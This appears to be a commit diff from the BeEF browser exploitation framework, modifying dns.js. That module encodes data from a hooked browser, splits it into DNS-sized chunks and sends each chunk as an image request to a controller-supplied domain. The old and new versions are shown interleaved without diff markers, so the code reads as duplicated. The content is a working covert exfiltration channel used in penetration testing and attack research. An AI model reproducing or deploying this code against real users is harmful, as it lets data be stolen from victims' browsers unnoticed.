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#970 Modified dns.js to support the current way we send data from client to server using DNS.

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antisnatchor
2014-06-29 12:31:59 +02:00
parent 2c9633f08f
commit f7df45ebd1
1 changed files with 52 additions and 36 deletions
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88
core/main/client/net/dns.js
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@@ -18,49 +18,65 @@ beef.net.dns = {
handler: "dns",
send: function(msgId, messageString, domain, wait, callback) {
send: function(msgId, data, domain, callback) {
var dom = document.createElement('b');
var encode_data = function(str) {
var result="";
for(i=0;i<str.length;++i) {
result+=str.charCodeAt(i).toString(16).toUpperCase();
}
return result;
};
// DNS settings
var max_domain_length = 255-5-5-5-5-5;
var max_segment_length = max_domain_length - domain.length;
var encodedData = encodeURI(encode_data(data));
// splits strings into chunks
String.prototype.chunk = function(n) {
if (typeof n=='undefined') n=100;
return this.match(RegExp('.{1,'+n+'}','g'));
};
//TODO remove this
console.log(encodedData);
console.log("_encodedData_ length: " + encodedData.length);
// XORs a string
xor_encrypt = function(str, key) {
var result="";
for(i=0;i<str.length;++i) {
result+=String.fromCharCode(key^str.charCodeAt(i));
}
return result;
};
// limitations to DNS according to RFC 1035:
// o Domain names must only consist of a-z, A-Z, 0-9, hyphen (-) and fullstop (.) characters
// o Domain names are limited to 255 characters in length (including dots)
// o The name space has a maximum depth of 127 levels (ie, maximum 127 subdomains)
// o Subdomains are limited to 63 characters in length (including the trailing dot)
// sends a DNS request
sendQuery = function(query) {
beef.debug("Requesting: "+query);
var img = new Image;
img.src = "http://"+query;
img.onload = function() { dom.removeChild(this); }
img.onerror = function() { dom.removeChild(this); }
dom.appendChild(img);
};
// DNS request structure:
// COMMAND_ID.SEQ_NUM.SEQ_TOT.DATA.DOMAIN
//max_length: 3. 3 . 3 . 63 . x
// encode message
var xor_key = Math.floor(Math.random()*99000+1000);
encoded_message = encodeURI(xor_encrypt(messageString, xor_key)).replace(/%/g,".");
// only max_data_segment_length is currently used to split data into chunks. and only 1 chunk is used per request.
// for optimal performance, use the following vars and use the whole available space (which needs changes server-side too)
var reserved_seq_length = 3 + 3 + 3 + 3; // consider also 3 dots
var max_domain_length = 255 - reserved_seq_length; //leave some space for sequence numbers
var max_data_segment_length = 63; // by RFC
// Split message into segments
segments = encoded_message.chunk(max_segment_length)
for (seq=1; seq<=segments.length; seq++) {
// send segment
sendQuery(msgId+"."+seq+"."+segments.length+"."+xor_key+segments[seq-1]+"."+domain);
}
//TODO remove this
console.log("max_data_segment_length: " + max_data_segment_length);
var dom = document.createElement('b');
String.prototype.chunk = function(n) {
if (typeof n=='undefined') n=100;
return this.match(RegExp('.{1,'+n+'}','g'));
};
var sendQuery = function(query) {
var img = new Image;
//img.src = "http://"+query;
img.src = beef.net.httpproto + "://" + query; // prevents issues with mixed content
img.onload = function() { dom.removeChild(this); }
img.onerror = function() { dom.removeChild(this); }
dom.appendChild(img);
};
var segments = encodedData.chunk(max_data_segment_length);
//TODO remove this
console.log(segments.length);
for (var seq=1; seq<=segments.length; seq++) {
sendQuery(msgId + "." + seq + "." + segments.length + "." + segments[seq-1] + "." + domain);
}
// callback - returns the number of queries sent
if (!!callback) callback(segments.length);